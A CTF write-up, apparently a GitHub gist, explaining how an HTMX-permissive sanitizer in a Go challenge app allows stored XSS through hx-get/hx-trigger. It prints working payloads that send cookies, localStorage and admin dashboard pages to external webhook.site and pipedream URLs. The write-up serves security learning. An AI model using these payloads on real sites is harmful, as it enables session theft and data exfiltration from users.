Skip to content

Instantly share code, notes, and snippets.

@ky28059
Last active September 1, 2024 22:28
Show Gist options
  • Save ky28059/5af97a38d168d540bda2e5b3ae1324bf to your computer and use it in GitHub Desktop.
Save ky28059/5af97a38d168d540bda2e5b3ae1324bf to your computer and use it in GitHub Desktop.

CyberSpace CTF 2024 — trendz(zz)?

The latest trendz is all about Go and HTMX, but what could possibly go wrong? A secret post has been hidden deep within the application. Your mission is to uncover it.

Notice anything off in this application? If you suspect something is wrong, report it to the superadmin. You never know what secrets might be uncovered.

nc trendz-bot.challs.csc.tf 1337

We're given a Go server that looks like this:

package main

import (
	"app/handlers/custom"
	"app/handlers/dashboard"
	"app/handlers/db"
	"app/handlers/jwt"
	"app/handlers/service"

	"github.com/gin-gonic/gin"
)

func main() {
	s := gin.Default()
	s.LoadHTMLGlob("templates/*")
	db.InitDBconn()
	jwt.InitJWT()

	s.GET("/", func(c *gin.Context) {
		c.Redirect(302, "/login")
	})
	s.GET("/ping", func(c *gin.Context) {
		c.JSON(200, gin.H{
			"message": "pong",
		})
	})
	r := s.Group("/")
	r.POST("/register", service.CreateUser)
	r.GET("/register", func(c *gin.Context) {
		c.HTML(200, "register.tmpl", gin.H{})
	})
	r.POST("/login", service.LoginUser)
	r.GET("/login", func(c *gin.Context) {
		c.HTML(200, "login.tmpl", gin.H{})
	})

	r.GET("/getAccessToken", service.GenerateAccessToken)

	authorizedEndpoints := r.Group("/user")
	authorizedEndpoints.Use(service.AuthorizeAccessToken())
	authorizedEndpoints.GET("/dashboard", dashboard.UserDashboard)
	authorizedEndpoints.POST("/posts/create", service.CreatePost)
	authorizedEndpoints.GET("/posts/:postid", service.ShowPost)
	authorizedEndpoints.GET("/flag", service.DisplayFlag)

	adminEndpoints := r.Group("/admin")
	adminEndpoints.Use(service.AuthorizeAccessToken())
	adminEndpoints.Use(service.ValidateAdmin())
	adminEndpoints.GET("/dashboard", dashboard.AdminDashboard)

	SAEndpoints := r.Group("/superadmin")
	SAEndpoints.Use(service.AuthorizeAccessToken())
	SAEndpoints.Use(service.ValidateAdmin())
	SAEndpoints.Use(service.AuthorizeRefreshToken())
	SAEndpoints.Use(service.ValidateSuperAdmin())
	SAEndpoints.GET("/viewpost/:postid", dashboard.ViewPosts)
	SAEndpoints.GET("/dashboard", dashboard.SuperAdminDashboard)
	s.NoRoute(custom.Custom404Handler)
	s.Run(":8000")
}

This is a 3 part challenge: we can make and share posts, and for part 3 we can report "suspicious posts" to the super admin via nc.

Looking in the posts service, we can find a suspicious sanitize function looking like so:

func SanitizeData(data string) string {
	p := bluemonday.NewPolicy()
	p.AllowURLSchemesMatching(regexp.MustCompile("^https?"))
	p.AllowAttrs("alt", "cite", "datetime", "dir", "high", "hx-delete", "hx-get", "hx-patch", "hx-post", "hx-put", "hx-swap", "hx-target", "hx-trigger", "hx-vals", "id", "low", "map", "max", "min", "name", "optimum", "value").OnElements("a", "abbr", "acronym", "b", "br", "cite", "code", "dfn", "div", "em", "figcaption", "h1", "h2", "h3", "h4", "h5", "h6", "hgroup", "hr", "i", "mark", "p", "pre", "s", "samp", "small", "span", "strike", "strong", "sub", "sup", "tt", "var", "wbr")
	html := p.Sanitize(data)
	return html
}

func ShowPost(ctx *gin.Context) {
	postID := ctx.Param("postid")
	DB := db.GetDBconn()
	var title string
	var data string
	err := DB.QueryRow("SELECT title, data FROM posts WHERE postid = $1", postID).Scan(&title, &data)
	if err != nil {
		fmt.Println(err)
	}
	html := SanitizeData(data)
	ctx.PureJSON(200, gin.H{
		"title": title, "data": html})
}

It looks like our post data is directly rendered to the DOM via innerHTML, but we're only allowed to use certain allowed tags and attributes defined by the sanitation policy.

Suspiciously, among the allowed attributes are HTMX-specific attributes like hx-get. Reading the documentation,

The hx-get attribute will cause an element to issue a GET to the specified URL and swap the HTML into the DOM using a swap strategy:

Then, we can circumvent the sanitizer by using hx-get to fetch our malicious payload via network request and swap it in to the DOM, giving us XSS.

By default, this swapping only triggers when the element is clicked, but we can use the hx-trigger property to swap in our payload on mount. Worse, however, is that htmx.config.selfRequestsOnly defaults to true, meaning that we can only send HTMX GET requests to the same domain.

We can host semi-arbitrary data on the same domain via posts, but we unfortunately can't simply put our payload in the post data due to the sanitizer. Instead, we can make a post with arbitrary data whose title is our malicious payload, e.g.

<img src=x onerror='fetch(`https://webhook.site/e9569dad-ec09-4b1f-8125-3e35e1edd678?a=` + document.cookie + JSON.stringify(localStorage))'>

(making sure not to use double quotes lest the payload get JSON-escaped).

Then, our malicious post data would look something like

<div hx-get="/user/posts/5b3f1b37-3c01-4051-9a7f-1bbc020668e6" hx-trigger="load" hx-swap="innerHTML"></div>

swapping in the first posts's title and data into its innerHTML for XSS.

Looking at the superadmin dashboard,

package dashboard

import (
	"fmt"
	"os"

	"github.com/gin-gonic/gin"
)

func SuperAdminDashboard(ctx *gin.Context) {
	fmt.Println("SuperAdmin dashboard accessed")
	ctx.HTML(200, "superAdminDash.tmpl", gin.H{
		"flag": os.Getenv("SUPERADMIN_FLAG"),
	})
}

func ViewPosts(ctx *gin.Context) {
	ctx.HTML(200, "viewPost.tmpl", gin.H{
		"PostID": ctx.Param("postid"),
		"title":  "Click",
		"data":   "{{data|safe}}",
	})
}

it looks like sending the superadmin to /superadmin/viewpost/{our malicious post id} causes our payload to be rendered into the DOM for XSS, from where we can fetch /superadmin/dashboard to get the part 3 flag. Here's a payload that does just that:

<img src=x onerror='fetch(`/superadmin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>

Looking in AdminDash.go,

package dashboard

import (
	"app/handlers/service"
	"os"

	"github.com/gin-gonic/gin"
)

func AdminDashboard(ctx *gin.Context) {
	posts := service.GetAllPosts()
	ctx.HTML(200, "adminDash.tmpl", gin.H{
		"flag":  os.Getenv("ADMIN_FLAG"),
		"posts": posts,
	})
}

because the superadmin is also an admin, we can use the same XSS to fetch /admin/dashboard and get the part 1 flag:

<img src=x onerror='fetch(`/admin/dashboard`).then(x=>x.text()).then(x=>fetch(`https://enhs7ezpdsxpw.x.pipedream.net/` + btoa(x)))'>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment